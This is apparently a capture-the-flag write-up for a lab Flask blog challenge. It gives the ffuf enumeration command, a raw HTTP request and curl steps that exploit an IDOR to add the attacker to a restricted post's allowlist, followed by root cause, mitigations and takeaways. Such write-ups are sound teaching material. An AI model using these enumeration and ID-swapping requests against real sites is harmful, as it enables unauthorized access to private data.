BonitoBlog
TL;DR
We fuzzed numeric blog IDs, found a restricted post at /blog/1337
(403), then abused a flawed update endpoint that trusted a client-supplied postId
in the request body over the path parameter. By POSTing postId=1337&users=b0nr4d
to /blog/update/190
with our valid session, we added ourselves to the allowlist for post 1337 and read the flag:
flag{5a593f66535c10f2291a8dcb8e88bfbb}
Target
https://bonitoblog.ctf.zone
The app looks like a small Flask blog. Session cookie format matches itsdangerous URLSafeTimedSerializer (Flask signed session). Not necessary to break/guess the secret for this solve.
Recon
- Enumerate posts (numeric IDs):
ffuf -w <(seq 1 2000) -u https://bonitoblog.ctf.zone/blog/FUZZ -fc 404
Findings (selected):
… 190 191 996 1234 1235 1236 1303 1497 1696 …
→ HTTP 200
1337
→ HTTP 403 with message: “You are not allowed to see this content.”
Conclusion: there is at least one restricted post: ID 1337.
Hypothesis
- The site likely implements per-post access control (allowlist of usernames).
- Update endpoints might be present for editable posts we can see (e.g., ID 190).
- If the server trusts a body field like
postId
during update, we might be able to edit ACLs for a different post (IDOR).
Exploit
We tested whether an update endpoint existed for a public post we could view (e.g., /blog/190
) and whether it allowed changing access for a different post via body parameters.
Request
POST /blog/update/190 HTTP/1.1
Host: bonitoblog.ctf.zone
Cookie: session=eyJ1c2VybmFtZSI6ImIwbnI0ZCJ9.aJiKvQ.EIUXhXQ1HxQ9OwpRYyfJbuIbueM
Content-Type: application/x-www-form-urlencoded
Referer: https://bonitoblog.ctf.zone/blog/190
postId=1337&users=b0nr4d
What happened
- The server accepted the request and (silently) applied our change to post 1337 (not 190!), adding user
b0nr4d
to its viewers.
- Fetching
/blog/1337
afterwards returned 200 with the flag in the content.
Why this works (Root cause)
- Broken Access Control / IDOR: The API lets an authenticated user update a resource by ID supplied in the body (
postId
), ignoring (or not validating against) the path parameter (/update/190
).
- This is a classic “inconsistent resource identifiers” bug → CWE-639 (“Authorization Bypass Through User-Controlled Key”), also falls under OWASP Top 10 A01:2021 Broken Access Control.
- No privilege check enforced for modifying the
users
field of any post.
Impact
- Any authenticated user can:
- Add themselves to the allowlist of any restricted post.
- Potentially modify other sensitive fields by swapping IDs.
- Confidential posts are effectively public to anyone who knows the IDs.
Reproduction (minimal)
# 1) Confirm restricted
curl -i https://bonitoblog.ctf.zone/blog/1337
# 2) Abuse update endpoint (use your valid session cookie)
curl -i -X POST 'https://bonitoblog.ctf.zone/blog/update/190' \
-H 'Cookie: session=<your-session>' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'postId=1337&users=b0nr4d'
# 3) Read the post
curl -i https://bonitoblog.ctf.zone/blog/1337
Mitigations (what the app should fix)
- Bind updates to the path ID: The server must use the resource ID from the URL (
/update/<id>
) and reject any conflictingpostId
in the body.
- Enforce authorization: Only owners/admins can modify a post’s allowlist (
users
). Check the authenticated user’s role/ownership.
- Block mass assignment: Use an allowlist of updatable fields; never let clients set identity/ACL fields unless explicitly permitted.
- Consistency checks: If both path and body contain IDs, 400 Bad Request when they differ. Log such attempts.
- Test cases: Add unit/integration tests for IDOR—attempts to update
postId != path_id
should fail.
Notes on the cookie
- The session cookie is a signed Flask/itsdangerous token (not a JWT). We did not need to tamper with or crack it; it simply identifies us as
b0nr4d
.
- Hardening tips (general): strong
SECRET_KEY
,HttpOnly
,Secure
,SameSite
, and consider server-side sessions for sensitive apps.
Takeaways
- When you see “restricted” content and a separate update/edit workflow, always check for:
- ID mismatches (path vs. body/query).
- Mass assignment of sensitive fields (roles, ACLs, ownership).
- IDOR by changing numeric IDs across endpoints.